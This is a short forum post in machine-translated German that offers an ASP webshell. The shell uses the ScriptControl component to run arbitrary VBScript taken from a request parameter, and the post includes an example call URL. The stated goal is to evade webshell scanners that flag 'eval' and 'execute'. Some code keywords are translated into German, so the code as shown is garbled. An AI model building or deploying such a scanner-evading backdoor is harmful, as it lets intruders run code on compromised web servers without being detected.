Ich habe mich schon immer gefragt, warum es im Client entweder „eval“ oder „execute“ gibt, egal wo ich mich verstecke, der Administrator kann mir mit jedem XX-Webshell-Scanner in den Arsch treten. Heute habe ich die ScriptControl-Komponente in VB erneut recherchiert und festgestellt, dass sie auch in ASP aufgerufen werden kann. Ich habe die Methode studiert und sie später mit lcx besprochen. Ich habe den folgenden Code erhalten. Ich möchte meinen Vorgesetzten für ihre Anleitung danken, haha.
Der Code ist sehr einfach, deshalb werde ich ihn nicht zu sehr erklären, um zu vermeiden, dass mich jemand ausschimpft, weil ich etwas vortäusche.
Kopieren Sie den Codecode wie folgt:
<%
Setze o = Server.CreateObject(ScriptControl)
o.sprache = vbscript
o.addcode(Request(SubCode)) 'Parameter SubCode als Prozesscode
o.run e,Server,Response,Request,Application,Session,Error 'Rufen Sie es mit dem Parameternamen e auf und übertragen Sie 6 Basisobjekte gleichzeitig als Parameter
'Anrufbeispiel:
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response .write%28server.mappath%28%22tmp.asp%22%29%29
%>
Beachten Sie, dass es zwar verwendet werden kann, das Experiment jedoch ergab, dass nur der Lake2-Client verwendet werden kann. Ich hoffe, jemand kann herauskommen und es allgemeiner formulieren. hehe. Es wäre auch eine gute Idee, einen eigenen dedizierten Kunden zu schreiben.